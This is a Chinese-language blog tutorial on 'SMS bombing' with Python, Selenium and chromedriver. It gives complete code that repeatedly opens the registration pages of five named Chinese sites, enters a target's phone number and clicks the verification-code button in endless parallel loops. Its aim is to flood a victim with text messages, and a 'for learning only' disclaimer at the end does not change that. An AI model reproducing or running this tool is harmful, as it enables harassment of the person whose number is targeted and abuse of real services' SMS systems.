手把手教你實現"短信轟炸"
我這里采用簡單易懂的語言--"Python3"來實現
實現前的准備:
1,電腦,谷歌瀏覽器
2,python3環境
3,chromedrive相應的版本
1 , 當然需要下載python的咯--> Python最新源碼,二進制文檔,新聞資訊等可以在Python的官網查看到:
Python官網:https://www.python.org/你可以在以下鏈接中下載 Python 的文檔,你可以下載 HTML、PDF 和 PostScript 等格式的文檔。
Python文檔下載地址:https://www.python.org/doc/ 我這下載的是最新版本python3.7
你們下載后按照一步一步的next就差不多了沒什么難度和特別的地方,然后你把python追加到你的系統變量(右擊電腦->高級設置->環境配置)的path中就可以了.
2,你需要自動的去實現瀏覽器頁面的事件你當然必不可少的需要安裝chromedriver啦,下面給你詳細的安裝步驟
點擊下面的連接下載chromedrive,
http://chromedriver.storage.googleapis.com/index.html
你會看到很多版本,這個版本要對應你的谷歌瀏覽器的版本喲,大致的就可以咯喲,現在谷歌最新版本應該是73.0.3683.
下載的安裝目錄一定要在你的谷歌瀏覽器的目錄里面,否者是沒用的喲,,我把我的貼上去了
一切准備就緒了,那就打開你的python,在這里我們需要安裝三個python包(如下圖)如果你是linux操作系統可能比較方便安裝引入查看相應的庫和,不過在windows下你可以定位到你python下的script的文件下按住shift鍵右擊在此處打開命令不過你用cd去定位也是一樣的喲,pip install+包名 這樣既可以了喲!如果你覺得慢的話,,你也可以直接在網上下載到python文件里面去喲,再說的話你直接在相關的python(pycharm)編輯器里面的設置去引入包也是一樣的,我在這里就不累贅敘說了.
3,話不多說->代碼解釋:
1,需要驅動依賴的python包代碼:
1 from selenium import webdriver 2 import time 3 from threading import Thread 4
2,創建某某平台的短信轟炸指定手機函數:
1 class HongZha(object): 2 def __init__(self): 3 self.phone = "12345678909"#你要轟炸的電話號碼 4 self.num = 0 5 def send_yzm(self,button,name): 6 button.click() 7 self.num+=1 8 print("{} 第{}次 發送成功 {}".format(self.phone,self.num,name)) 9 time.sleep(2) 10 def zhihu(self,name): 11 while True:#下面這行是剛剛敘說的chromedrive的安裝路徑 12 13 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 14 driver.get("https://www.zhihu.com/question/39993344") 15 driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click () 16 time.sleep(2) 17 tel = driver.find_element_by_xpath("//input[@placeholder='手機號']") 18 tel.send_keys(self.phone) 19 button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" ) 20 self.send_yzm(button,name) 21 driver.quit () 22 def guazi(self,name): 23 while True: 24 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 25 driver.get("https://www.guazi.com/www/bj/buy") 26 a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" ) 27 a_btn.click() 28 time.sleep(2) 29 tel = driver.find_element_by_xpath("//input[@placeholder='請輸入您的手機號碼']") 30 tel.send_keys( self.phone ) 31 button = driver.find_element_by_xpath("//button[@class='get-code']") 32 self.send_yzm(button,name) 33 driver.quit() 34 def wphui(self,name): 35 while True: 36 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 37 driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" ) 38 tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入手機號碼']" ) 39 tel.send_keys ( self.phone ) 40 driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click() 41 button = driver.find_element_by_xpath ( 42 "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" ) 43 self.send_yzm ( button,name ) 44 driver.quit () 45 def suning(self,name): 46 while True: 47 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 48 driver.get ( "https://reg.suning.com/person.do" ) 49 driver.find_element_by_xpath("//a[@class='agree-btn']").click() 50 tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']") 51 tel.send_keys ( self.phone ) 52 button = driver.find_element_by_xpath ( 53 "//a[@id='sendSmsCode']" ) 54 self.send_yzm ( button,name ) 55 driver.quit () 56 def yhd(self,name): 57 while True: 58 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") 59 driver.get ( "https://passport.yhd.com/passport/register_input.do" ) 60 driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神") 61 tel = driver.find_element_by_xpath ( "//input[@id='phone']" ) 62 tel.send_keys ( self.phone ) 63 time.sleep(2) 64 button = driver.find_element_by_xpath ( 65 "//a[@class='receive_code fl same_code_btn r_disable_code ']" ) 66 #button.click() 67 time.sleep(1) 68 self.send_yzm ( button,name ) 69 driver.quit ()
3,引用相關對象,調用對象對應方法:
1 hongzha = HongZha() 2 zhihu = Thread(target=hongzha.zhihu,args=("知乎",)) 3 guazi = Thread ( target=hongzha.guazi,args=("瓜子",)) 4 wphui = Thread(target=hongzha.wphui,args=("唯品會",)) 5 suning = Thread(target=hongzha.suning,args=("蘇寧",)) 6 yhd = Thread( target=hongzha.yhd,args=("一號店",)) 7 zhihu.start()//調用定義方法 8 guazi.start() 9 wphui.start() 10 suning.start() 11 yhd.start()
然后運行結果我就不弄太多,因為是我自己的手機測試的,
我做的處理防止拿我手機號來轟炸!
在這里申明:我只提供技術上的學習討論,不能來搞商業事情,,小編概不負任何責任....
聲明: 你們拿來做的任何事情與小編無關!
下篇手把手教你們如何爬取整個小說網站並且實現小說的"語音播放".
掃碼公眾號--回復“短信轟炸”獲取源碼: